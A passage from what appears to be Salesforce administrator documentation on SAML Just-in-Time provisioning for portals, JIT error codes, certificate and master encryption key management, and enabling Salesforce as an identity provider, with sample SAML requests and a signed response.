treated as a JIT request for regular platform user. Here are the requirements for a creating a portal user.

A Federation ID must be specified. If the specified ID isn't found, a new user is created. If the specified ID is found,
the user is updated.
You must pass a valid Account ID and Contact ID.
If the portal isn't self-registration enabled and a default new user profile and role aren't specified, the User.ProfileId
field must contain a valid profile name or ID associated with the portal. In addition, the User.PortalRole field must
contain a valid portal role name or ID.
Note: The User.Role must be null.

Creating and Modifying Accounts


Create or modify an account by specifying a valid Account ID or both the Account.Number and Account.Name.

Matching is based on Account.Number. If multiple accounts are found, an error is displayed. Otherwise, the account is
updated.
If no matching account is found, one is created.
You must specify the Account.Owner in the SAML assertion and ensure that the field level security for the
Account.Number field is set to visible for this owner's profile.

Creating and Modifying Contacts


Create or modify a contact by specifying the a valid Contact ID in User.Contact or both the Contact.Email and
Contact.LastName.

Matching is based on Contact.Email. If multiple contacts are found, an error is displayed. Otherwise, the contact is
updated.
If no matching contact is found, one is created.

Supported Fields for the Portal SAML Assertion


To correctly identify which object to create in Salesforce, you must use a prefix. In the SAML assertion, use the Account.
prefix for all fields in the Account schema and Contact. prefix for all fields in the Contact schema. In this example, the
Contact. prefix has been added to the Email field name.
<saml:Attribute
Name="Contact.Email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">testuser@123.org</saml:AttributeValue>
</saml:Attribute>

711

Security and Sharing

About Just-in-Time Provisioning for SAML

In addition to the standard fields on page 708 supported for regular SAML JIT users, these fields are supported for accounts.
Fields

Required

Comments
Street|City|State|PostalCode|Country

Billing
AnnualRevenue
Description
Fax
FederationIdentifier (insert

only)

If present, it must match the SAML subject or the SAML subject is


taken instead. Can't be updated using SAML.

IsCustomerPortal
IsPartner
NumberOfEmployees
Ownership
Phone
Portal Role

Rating
Street
TickerSymbol

Defaults to no role if blank.

UserRoleId
Website
Zip

In addition to the standard fields supported for regular SAML JIT users, these fields are supported for contacts.
Fields

Required

Comments

Birthdate

Name|Phone

CanAllowPortalSelfReg
Department
Description
DoNotCall
Fax
FederationIdentifier (insert

only)

If present, it must match the SAML subject or the SAML subject is


taken instead. Can't be updated using SAML.

HasOptedOutofEmail
HasOptedOutofFax
HomePhone

712

Security and Sharing

About Just-in-Time Provisioning for SAML

Fields

Required

Comments

LeadSource

Street|City|State|PostalCode|Country

Mailing
MobilePhone
Owner

Street|City|State|PostalCode|Country

Other
OtherPhone
Phone
Salutation
Title

See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning Errors
Example SAML Assertions
About Single Sign-On

Just-in-Time Provisioning Errors


This table shows the error codes for Just-in-Time provisioning for SAML. Errors are returned in the URL parameter, for
example:
http://login.salesforce.com/identity/jit/saml-error.jsp?
ErrorCode=5&ErrorDescription=Unable+to+create+user&ErrorDetails=
INVALID_OR_NULL_FOR_RESTRICTED_PICKLIST+TimeZoneSidKey

Note:
Salesforce redirects the user to a custom error URL if one is specified in your SAML configuration. For more information
on setting a custom error URL, see Configuring SAML Settings for Single Sign-On. on page 687
Error Messages
Code

Description

Error Details

Missing Federation Identifier

MISSING_FEDERATION_ID

Mis-matched Federation Identifier

MISMATCH_FEDERATION_ID

Invalid organization ID

INVALID_ORG_ID

Unable to acquire lock

USER_CREATION_FAILED_ON_UROG

Unable to create user

USER_CREATION_API_ERROR

713

Security and Sharing

About Just-in-Time Provisioning for SAML

Code

Description

Error Details

Unable to establish admin context

ADMIN_CONTEXT_NOT_ESTABLISHED

Unrecognized custom field

UNRECOGNIZED_CUSTOM_FIELD

Unrecognized standard field

UNRECOGNIZED_STANDARD_FIELD

11

License limit exceeded

LICENSE_LIMIT_EXCEEDED

12

Federation ID and username do not match MISMATCH_FEDERATION_ID_AND_USERNAME_ATTRS

13

Unsupported provision API version

UNSUPPORTED_VERSION

14

Username change isn't allowed

USER_NAME_CHANGE_NOT_ALLOWED

15

Custom field type isn't supported

UNSUPPORTED_CUSTOM_FIELD_TYPE

16

Unable to map an unique profile ID for the PROFILE_NAME_LOOKUP_ERROR


given profile name

17

Unable to map an unique role ID for the


given role name

ROLE_NAME_LOOKUP_ERROR

18

Invalid account

INVALID_ACCOUNT_ID

19

Missing account name

MISSING_ACCOUNT_NAME

20

Missing account number

MISSING_ACCOUNT_NUMBER

22

Unable to create account

ACCOUNT_CREATION_API_ERROR

23

Invalid contact

INVALID_CONTACT

24

Missing contact email

MISSING_CONTACT_EMAIL

25

Missing contact last name

MISSING_CONTACT_LAST_NAME

26

Unable to create contact

CONTACT_CREATION_API_ERROR

27

Multiple matching contacts found

MULTIPLE_CONTACTS_FOUND

28

Multiple matching accounts found

MULTIPLE_ACCOUNTS_FOUND

30

Invalid account owner

INVALID_ACCOUNT_OWNER

31

Invalid portal profile

INVALID_PORTAL_PROFILE

32

Account change is not allowed

ACCOUNT_CHANGE_NOT_ALLOWED

33

Unable to update account

ACCOUNT_UPDATE_FAILED

34

Unable to update contact

CONTACT_UPDATE_FAILED

35

Invalid standard account field value

INVALID_STANDARD_ACCOUNT_FIELD_VALUE

36

Contact change not allowed

CONTACT_CHANGE_NOT_ALLOWED

714

Key Pairs

About Salesforce Certificates and Keys

Code

Description

Error Details

37

Invalid portal role

INVALID_PORTAL_ROLE

See Also:
About Just-in-Time Provisioning for SAML
Just-in-Time Provisioning Requirements
Just-in-Time Provisioning for Portals

KEY PAIRS
About Salesforce Certificates and Keys
Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

To work with Salesforce certificates and keys, click Your Name > Setup > Security Controls > Certificate and Key
Management. From this page you can:

Manage your certificates


Manage your master encryption key

Certificates
Salesforce certificates and key pairs are used for signatures that verify a request is coming from your organization. They are
used for authenticated SSL communications with an external web site, or when using your organization as an Identity Provider.
You only need to generate a Salesforce certificate and key pair if you're working with an external website that wants verification
that a request is coming from a Salesforce organization.
Salesforce offers two types of certificates:
Self-signed
A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates.
CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use it.

715

Security and Sharing

Creating Certificates and Key Pairs

Master Encryption Keys


Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master
encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization.
You can manage the master key based on your organizations security needs and regulatory requirements.

See Also:
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates
Managing Master Encryption Keys

Creating Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

Salesforce offers two types of certificates:


Self-signed
A self-signed certificate is signed by Salesforce. Not all external websites accept self-signed certificates.
CA-signed
A CA-signed certificate is signed by an external certificate authority (CA). Most external websites accept CA-signed
certificates. You must first generate the certificate signing request to send to a CA, and then import the signed version
of the certificate before you can use it.
To create a Salesforce certificate:
1. Go to Your Name > Setup > Security Controls > Certificate and Key Management.
2. Select either Create Self-Signed Certificate or Create CA-Signed Certificate, based on what kind of certificate your
external website accepts. You can't change the type of a certificate after you've created it.
3. Enter a descriptive label for the Salesforce certificate. This name is used primarily by administrators when viewing certificates.
4. Enter the Unique Name. This name is automatically populated based on the certificate label you enter. This name can
contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. Use the Unique
Name when referring to the certificate using the Force.com Web services API or Apex.
5. Select a Key Size for your generated certificate and keys. We recommend that you use the default key size of 2048 for
security reasons. Selecting 2048 generates a certificate using 2048-bit keys and is valid for two years. Selecting 1024
generates a certificate using 1024-bit keys and is valid for one year.

716

Security and Sharing

Creating Certificates and Key Pairs

Note: Once you save a Salesforce certificate, you can't change the key size.

6. If you're creating a CA-signed certificate, you must also enter the following information. These fields are joined together
to generate a unique certificate.
Field

Description

Common Name

The fully qualified domain name of the company requesting


the signed certificate. This is generally of the form:
http://www.mycompany.com.

Email Address

The email address associated with this certificate.

Company

Either the legal name of your company, or your legal name.

Department

The branch of your company using the certificate, such as


marketing or accounting.

City

The city where the company resides.

State

The state where the company resides.

Country Code

A two-letter code indicating the country where the company


resides. For the United States, the value is US.

7. Click Save.
After you successfully save a Salesforce certificate, the certificate and corresponding keys are automatically generated.
You can have a maximum of 50 certificates.
After you create a CA-signed certificate, you must upload the signed certificate before you can use it.
Note: After you create a CA-signed certificate and certificate request, the certificate is not active and you can't use it
until it's been signed by a certificate authority and uploaded into your organization.

See Also:
About Salesforce Certificates and Keys
Viewing Salesforce Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

717

Security and Sharing

Uploading Certificate Authority (CA)-Signed Certificates

Uploading Certificate Authority (CA)-Signed Certificates


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

After you create a CA-signed certificate , you must do the following before the certificate is active and you can use the certificate.
1. Click Your Name > Setup > Security Controls > Certificate and Key Management, click the name of the certificate,
then click Download Certificate Signing Request.
2. Send the certificate request to the certificate authority of your choice.
3. After the certificate authority sends back the signed certificate, click Your Name > Setup > Security Controls > Certificate
and Key Management, click the name of the certificate, then click Upload Signed Certificate.
4. Click Browse to locate the CA-signed certificate. The CA-signed certificate must match the certificate created in Salesforce.
If you try to upload a different CA-signed certificate, the upload fails.
5. Click Save to finish the upload process. Click Cancel at any time to not upload the certificate.
After you successfully upload the signed certificate, the status of the certificate is changed to Active and you can use CA-signed
certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Viewing Salesforce Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs

Viewing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

To view the details of a Salesforce certificate, click Your Name > Setup > Security Controls > Certificate and Key Management,
then click the name of a certificate.

718

Security and Sharing

Editing Salesforce Certificates and Key Pairs

From the certificate detail page, you can do any of the following:

Click Edit to edit the label or unique name of the certificate.


Click Delete to delete the certificate.
Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

Click Download Certificate to download the full Base-64 encoded certificate. This is only available for active certificates.
For CA-signed certificates, you must first upload the signed certificate before you can download or use it.
Click Download Certificate Signing Request for CA-signed certificates that have not yet had the signed certificate
uploaded.
Click Upload Signed Certificate to upload the CA-signed certificate.

See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

Editing Salesforce Certificates and Key Pairs


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

After you create a Salesforce certificate, you can only change the Label and the Unique Name. You can't change the type,
key size, and so on. The certificate and the keys aren't regenerated when you edit a Salesforce certificate.
Caution: Apex and the Force.com Web services API use the Unique Name to access the certificate. Changing the
Unique Name could cause your code to break.
To edit a Salesforce certificate:
1. Go to Your Name > Setup > Security Controls > Certificate and Key Management.
2. Click Edit next to the name of a Salesforce certificate.
3. Make your changes, then click Save.
To delete a certificate, click Del. If a certificate is being used as part of the configuration of your identity provider, you cannot
delete it.

719

Security and Sharing

Managing Master Encryption Keys

Note: You can't delete a CA-signed certificate after you've uploaded the signed certificate.

See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Viewing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

Managing Master Encryption Keys


Available in: All Editions

User Permissions Needed


To create, edit, and manage certificates:

Customize Application

Fields that are encrypted using encrypted custom fields, such as social security number or credit card number, use a master
encryption key to encrypt the data. This key is automatically assigned when you enable encrypted fields for your organization.
You can manage the master key based on your organizations security needs and regulatory requirements. With master encryption
keys, you can do the following:

Archive the existing key and create a new key


Export an existing key after it's been archived
Delete an existing key
Import an existing key after it's been deleted

Archiving and Creating New Keys


To archive your current key and create a new key:
1.
2.
3.
4.

Click Your Name > Setup > Security Controls > Certificate and Key Management.
Click Archive Current Key and Create New Key.
A warning message displays letting you know you are changing keys. Click OK.
A new key is generated, assigned the next sequential number, and activated.

All new data is encrypted using the new key. Existing data continues to use the archived key until the data is modified and
saved. Then data is encrypted using the new key.
After you archive a key, you can export or delete it.
Exporting Keys
You can export your keys to a back-up location for safe keeping. Its a good idea to export a copy of any key before deleting
it.

720

Identity and Service Providers

About Identity Providers and Service Providers

Exporting creates a text file with the encrypted key. You can import the key back into your organization at a later time.
Click Export next to the key you want to export.

Deleting Keys
Don't delete a key unless you're absolutely certain no data is currently encrypted using the key. After you delete a key, any data
encrypted with that key can no longer be accessed. If you export the key before you delete it, you can import the key back into
your organization.
To delete a key, click Delete next to the key you want to delete.
The date the key is deleted displays.
Importing Keys
If you have data associated with a deleted key, you can import an exported key back into your organization. Any data that was
not accessible becomes accessible again.
Click Import next to the key you want to import.

See Also:
About Salesforce Certificates and Keys
Creating Certificates and Key Pairs
Editing Salesforce Certificates and Key Pairs
Uploading Certificate Authority (CA)-Signed Certificates

IDENTITY AND SERVICE PROVIDERS


About Identity Providers and Service Providers
Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

An identity provider is a trusted provider that enables you to use single sign-on to access other websites. A service provider is a
website that hosts applications. You can enable Salesforce as an identity provider, then define one or more service providers,
so your users can access other applications directly from Salesforce using single sign-on. This can be a great help to your users:
instead of having to remember many passwords, they will only have to remember one. Plus, the applications can be added as
tabs to your Salesforce organization, which means users won't have to switch between programs.

721

Security and Sharing

About Identity Providers and Service Providers

Before you can enable Salesforce as an identity provider, you must set up a domain.
Enabling Salesforce as an identity provider requires a self-signed Salesforce certificate and key pair. If you haven't generated
a Salesforce certificate and key pair, one is automatically created for you when you enable Salesforce as an identity provider.
You also have the option of picking an already generated certificate, or creating one yourself.
Salesforce uses the SAML 2.0 standard for single sign-on and generates SAML assertions when configured as an identity
provider.
Use the identity provider error log if your users have errors when trying to log into your service provider's apps.
Using Identity Providers and Service Providers
Salesforce supports the following:

Identity-provider-initiated loginwhen Salesforce logs into a service provider at the initiation of the end-user
Service-provider-initiated loginwhen the service provider requests Salesforce to authenticate a user, at the initiation of
the end-user

The following is the general flow when Salesforce as an identity provider logs into a service provider.
1. User tries to access a service provider already defined in Salesforce.
2. Salesforce sends a SAML response to the service provider. The following is an example of a response (you might want to
share this with your service provider):

3. Service provider identifies the user and authenticates the certificate.


4. If the user is identified, they are logged into the service provider.
The following is the general flow when a service provider initiates login and uses Salesforce to identify the user.

722

Security and Sharing

About Identity Providers and Service Providers

1. The service provider sends a valid SAML request. The endpoint is automatically generated when the service provider is
definedthe SP-Initiated POST Endpoint.
2. Salesforce identifies the user included in the SAML request.
<samlp:AuthnRequest ID="bndkmeemcaamihajeloilkagfdliilbhjjnmlmfo" Version="2.0"
IssueInstant="2010-05-24T22:57:19Z"
ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST"
ProviderName="google.com" IsPassive="false"
AssertionConsumerServiceURL="https://www.google.com/a/resp.info/acs">
<saml:Issuer>google.com</saml:Issuer>
<samlp:NameIDPolicy AllowCreate="true"
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"/>
</samlp:AuthnRequest>

If a certificate was included as part of the definition, Salesforce authenticates the certificate.
Note: If a certificate is included in the service provider definition, and the SAML request does not contain a
certificate, the request fails, and the user is not logged in using Salesforce. If the definition does not include a
certificate, and the request includes one, the request succeeds if the user is identified correctly.
3. If the user isn't already logged into Salesforce, they are prompted to do so.
4. Salesforce sends a SAML response to the service provider.
5. The service provider authenticates the SAML response sent by Salesforce. If the user has been authenticated, they are
logged into the service provider. The user is also logged into Salesforce.
Important: Salesforce doesn't provide any mechanism for automatically logging the user out of Salesforce when
they log out of the service provider.

723

Security and Sharing

About Identity Providers and Service Providers

The following is an example of the SAML response from Salesforce. You might want to share this information with your
service provider.
<samlp:Response Destination="https://login-blitz03.soma.salesforce.com/
?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"
ID="_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091"
InResponseTo="_2INwHuINDJTvjo8ohcM.Fpw_uLukYi0WArVx2IJD569kZYL
osBwuiaSbzzxOPQjDtfw52tJB10VfgPW2p5g7Nlv5k1QDzR0EJYGgn0d0z8
CIiUOY31YBdk7gwEkTygiK_lb46IO1fzBFoaRTzwvf1JN4qnkGttw3J6L4b
opRI8hSQmCumM_Cvn3DHZVN.KtrzzOAflcMFSCY.bj1wvruSGQCooTRSSQ"
IssueInstant="2010-11-23T01:46:41.091Z" Version="2.0">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity"
>identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

<ds:Signature>

<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>

<ds:Reference URI="#_0f551f9288c8b76f21c3d4d15c9cd1df1290476801091">

<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>

<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#">
<ec:InclusiveNamespaces PrefixList="ds saml samlp xs"/>
</ds:Transform>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
<ds:DigestValue>4NVTbQ2WavD+ZBiyQ7ufc8EhtZw=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>

<ds:SignatureValue>
eqrkFxNlJRCT4VQ7tt7wKZGK7oLCCCa4gV/HNcL03RoKbSXIcwU2CAqW0qTSj25FqhRe2fOwAYa5
xFWat7Fw2bbncU+/nnuVNZut8HEEQoHiQA/Jrh7XB4CNlOpM1QRvgB5Dtdkj/0lI4h3X3TFix57B
sgZJGbb5PWEqSH3ZAl+NPvW9nNtYQIFyCTe9+cw2BhCxFgSWfP3/kIYHSM2gbIy27CrRrFS1lAqP
hKSLaH+ntH1E09gp78RSyJ2WKFGJU22sE9RJSZwdVw3VGG06Z6RpSjPJtaREELhhIBWTHNoF+VvJ
2Hbexjew6CO08lXRDe8dbrrPIRK/qzHZYf1H0g==
</ds:SignatureValue>

<ds:KeyInfo>

<ds:X509Data>

<ds:X509Certificate>
MIIEbjCCA1agAwIBAgIOASh04QulAAAAAClXs7MwDQYJKoZIhvcNAQEFBQAwfTEVMBMGA1UEAwwM
SWRlbnRpdHkgT3JnMRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9y
Y2UuY29tMRYwFAYDVQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNB
MB4XDTEwMDUwNzIyMjcwNVoXDTEyMDUwNjIyMjcwNVowfTEVMBMGA1UEAwwMSWRlbnRpdHkgT3Jn
MRgwFgYDVQQLDA8wMEREMDAwMDAwMEZIOGwxFzAVBgNVBAoMDlNhbGVzZm9yY2UuY29tMRYwFAYD
VQQHDA1TYW4gRnJhbmNpc2NvMQswCQYDVQQIDAJDQTEMMAoGA1UEBhMDVVNBMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyM4/sjoaizbnWTDjt9mGht2fDGxnLCWGMJ+D+9NWXD5wM15N
SFEcflpI9W4makcCGvoac+CVbPTmOUzOsCQzu7iGkLeMMpngf2XqllnJgl4ejuH8socNrDtltaMk
hC08KAmli3Wm/okllqSjVOl8H52jtbvm6HkvLVj2NDLRY6kUejVZMGjGwV5E0FJliwgIip4sCchl
dkahbNjbikiiv1MAs8xHbtBt3wnKZWJq3JtS0va1sazUVmEwGDlVW43QPF0S7eV3IJFFhyCPV8yF
N3k0wCkCVBWoknwkMA8CbD+p6qNBVmvh3F3IaW2oym/1eSvtMLNtrPJeZzssqDYqgQIDAQABo4Hr
MIHoMB0GA1UdDgQWBBTYSVEZ9r8Q8T2rbZxPFfPYPZKWITCBtQYDVR0jBIGtMIGqgBTYSVEZ9r8Q
8T2rbZxPFfPYPZKWIaGBgaR/MH0xFTATBgNVBAMMDElkZW50aXR5IE9yZzEYMBYGA1UECwwPMDBE
RDAwMDAwMDBGSDhsMRcwFQYDVQQKDA5TYWxlc2ZvcmNlLmNvbTEWMBQGA1UEBwwNU2FuIEZyYW5j
aXNjbzELMAkGA1UECAwCQ0ExDDAKBgNVBAYTA1VTQYIOASh04QupAAAAAClXs7MwDwYDVR0TAQH/
BAUwAwEB/zANBgkqhkiG9w0BAQUFAAOCAQEANaO5Tqcc56E6Jv8itwjtbPvR+WHEMnZgQ9cCPF5Q

724

Security and Sharing

About Identity Providers and Service Providers

VACd5v7I/srx4ZJt/ZO4RZkmX1FXla0M7JGOu63eELHYG1DxT1SpGmpOL7xfBn7QUoh8Rmpp3BZC
WCPIcVQHLs1LushsrpbWu+85tgzlVN4sFVBl8F9rohhbM1dMOUAksoQgM3avcZ2vkugKhX40vIuf
Gw4wXZe4TBCfQay+eDONYhYnmlxVV+dJyHheENOYfVqlau8RMNhRNmhXlGxXNQyU3kpMaTxOux8F
DyOjc5YPoe6PYQ0C/mC77ipnjJAjwm+Gw+heK/9NQ7fIonDObbfu2rOmudtcKG74IDwkZL8HjA==
</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</ds:Signature>

<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>

<saml:Assertion ID="_e700bf9b25a5aebdb9495fe40332ef081290476801092"
IssueInstant="2010-11-23T01:46:41.092Z" Version="2.0">
<saml:Issuer
Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">identityorg.blitz03.blitz.salesforce.com</saml:Issuer>

<saml:Subject>
<saml:NameID
Format="urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified">charliemortimore@gmail.com</saml:NameID>

<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml:SubjectConfirmationData NotOnOrAfter="2010-11-23T01:51:41.093Z"
Recipient="https://login-blitz03.soma.salesforce.com/?saml=MgoTx78aEPa2r1BHKCHmlfUKhH2mkDrXOjmYcjHG_qNDbsRM_6ZAo.wvGk"/>
</saml:SubjectConfirmation>
</saml:Subject>

<saml:Conditions NotBefore="2010-11-23T01:46:41.093Z" NotOnOrAfter="2010-11-23T01:51:41.093Z">

<saml:AudienceRestriction>
<saml:Audience>https://childorgb.blitz03.blitz.salesforce.com</saml:Audience>
</saml:AudienceRestriction>
</saml:Conditions>

<saml:AuthnStatement AuthnInstant="2010-11-23T01:46:41.092Z">

<saml:AuthnContext>
<saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:unspecified</saml:AuthnContextClassRef>
</saml:AuthnContext>
</saml:AuthnStatement>

<saml:AttributeStatement>

<saml:Attribute Name="userId"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">005D0000001Ayzh</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="username"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">admin@identity.org</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="email"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">cmortimore@salesforce.com</saml:AttributeValue>
</saml:Attribute>

<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue xsi:type="xs:anyType">false</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</samlp:Response>

725

Security and Sharing

Enabling Salesforce as an Identity Provider

Enabling Salesforce as an Identity Provider


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

To enable Salesforce as an identity provider:


1. Set up a domain.
2. Click Your Name > Setup > Security Controls > Identity Provider and click Enable Identity Provider.
3. If you haven't created a self-signed certificate, one is automatically generated for you and assigned as the certificate for
your identity provider. If you've already created self-signed certificates, select the certificate to use when securely
communicating with other services. You can only use self-signed certificates for your identity provider. You can't use
CA-signed certificates. If you'd like to create one, select Create a new certificate.... After you create the certificate, click
Your Name > Setup > Security Controls > Identity Provider, click Enable Identity Provider, and select the certificate
you just created.
4. Click Save.
After you enable Salesforce as an identity provider, you can define service providers.

Viewing Your Identity Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

After you enable an identity provider for your organization, you can view the details by clicking Your Name > Setup > Security
Controls > Identity Provider. You might need to share this information, such as Issuer, with your service provider.
From this page you can click:

Edit to change the certificate associated with your identity provider.


Caution: Changing the certificate can disable access to external applications. You might need to update all external
applications to validate the new certificate information.

Disable to disable your identity provider.


Caution: If you disable your identity provider, users can no longer access any external applications.

726

Security and Sharing

Prerequisites for Defining Service Providers

Download Certificate to download the certificate associated with your identity provider. Your service provider can use
this information for connecting to Salesforce.
Download Metadata to download the metadata associated with your identity provider. Your service provider can use this
information for connecting to Salesforce.
In the service providers section, click New to define a new service provider. Next to the name of an already-defined service
provider, click Edit to change its definition, click Profiles to add or remove user profiles that have access to this service
provider, or click Del to delete it.

Prerequisites for Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

Before defining a service provider:


1. Enable Salesforce as an identity provider.
2. Give your service provider information about your configuration of Salesforce as an identity provider. This information is
available as metadata that you can download and give to your service provider for easy configuration. However, not all
service providers support metadata. If your service provider supports certificates instead, you might be required to download
the certificate. Click Your Name > Setup > Security Controls > Identity Provider, then click Download Certificate or
Download Metadata.
3. Get the following information from your service provider:

Assertion consumer service (ACS) URL


Entity ID
Subject typespecifies if the subject for the SAML response from Salesforce (as an identity provider) is a Salesforce
user name or a federation ID
Security certificateonly required when the service provider is initiating login to Salesforce and signing their SAML
requests

Defining Service Providers


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

To define a service provider:

727

Security and Sharing

1.
2.
3.
4.
5.

Mapping Salesforce Users to App Users

Complete the prerequisites.


Click Your Name > Setup > Security Controls > Identity Provider, then click New in the Service Providers section.
Specify a name for the service provider's application. This name is used in the profile settings.
Enter the assertion consumer service (ACS) URL. This value comes from the service provider.
Enter the entity ID. This value comes from the service provider.
If you are accessing multiple apps from your service provider, you only need to define the service provider once, and then
use the RelayState parameter to append the URL values to direct the user to the correct app after signing in.
Important: Each entity ID must be unique in your organization.

6. Select the subject type. This value comes from the service provider.
Note: If the subject type is Federation ID, you must also map the Salesforce user to the app user.

7. Click Service Provider Certificate if the service provider gave you a security certificate. Browse your system for
the certificate. This is only necessary if you plan to initiate logging into Salesforce from the service provider and the service
provider signs their SAML requests.
Important: If you upload a certificate, all SAML requests must be signed. If no certificate is uploaded, all SAML
requests are accepted.
8. Click Save.
9. Select which profiles have access to this service provider.
Note: Permission sets can also be used to grant access to service providers.

If you click the checkbox at the top of the list, all profiles are selected.
10. Click Save.

Mapping Salesforce Users to App Users


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

If the Subject Type for the service provider definition is Federation ID, you must map the Salesforce user to the username
used to sign into the service provider.
To map a Salesforce user to the app user:

728

Security and Sharing

Viewing Your Service Provider Details

1. Click Your Name > Setup > Manage Users > Users, then click Edit for every user who needs to be mapped.
2. In Federation ID, under Single Sign On Information, enter the username to be used to log into the service provider.
3. Click Save.
Tip: Use SOAP API if you have a large number of user profiles or permission sets to update. See the SOAP API
Developer's Guide.

Viewing Your Service Provider Details


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

After you define a service provider for your organization, you can view the details by clicking Your Name > Setup > Security
Controls > Identity Provider, then the name of the service provider. You might need to share this information, such as
SP-Initiated POST Endpoint or SP-Initiated Redirect Endpoint, with your service providers.
From this page you can click:

Edit to change the values of the service provider definition.


Delete to delete a service provider definition.
Caution: If you delete a service provider definition, your users will no longer have access to that service provider.

Profile Access to change which profiles have access to this service provider.

Enabling Identity Providers and Defining Service Providers


for Portals and Sites
Available in: Developer, Enterprise, and Unlimited Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

When enabling identity providers and defining service providers for Force.com Sites, Customer Portals and partner portals,
note the following:

729

Security and Sharing

Using the Identity Provider Error Log

When defining a service provider, if the Subject Type is Username, the Salesforce organization ID is prepended to
the user name in the SAML assertion. For example, if the user is jDeoint@WFC.com, the subject for the SAML assertion
contains 00DE0000000FFLT@jDeoint@WFC.com. If the Subject Type is Federation ID, the exact federation ID
is used.
The attribute is_portal_user included in the SAML assertion generated by Salesforce contains values. You might
want to share the following example with your service provider.
<saml:Attribute Name="is_portal_user"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:unspecified">
<saml:AttributeValue
xmlns:xs="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:type="xs:anyType">true
</saml:AttributeValue>
</saml:Attribute>

Using the Identity Provider Error Log


Available in: Developer, Enterprise, Unlimited, and Database.com Editions

User Permissions Needed


Define and modify identity providers and service providers:

Customize Application

The identity provider error log records problems with inbound SAML authentication requests from another app provider,
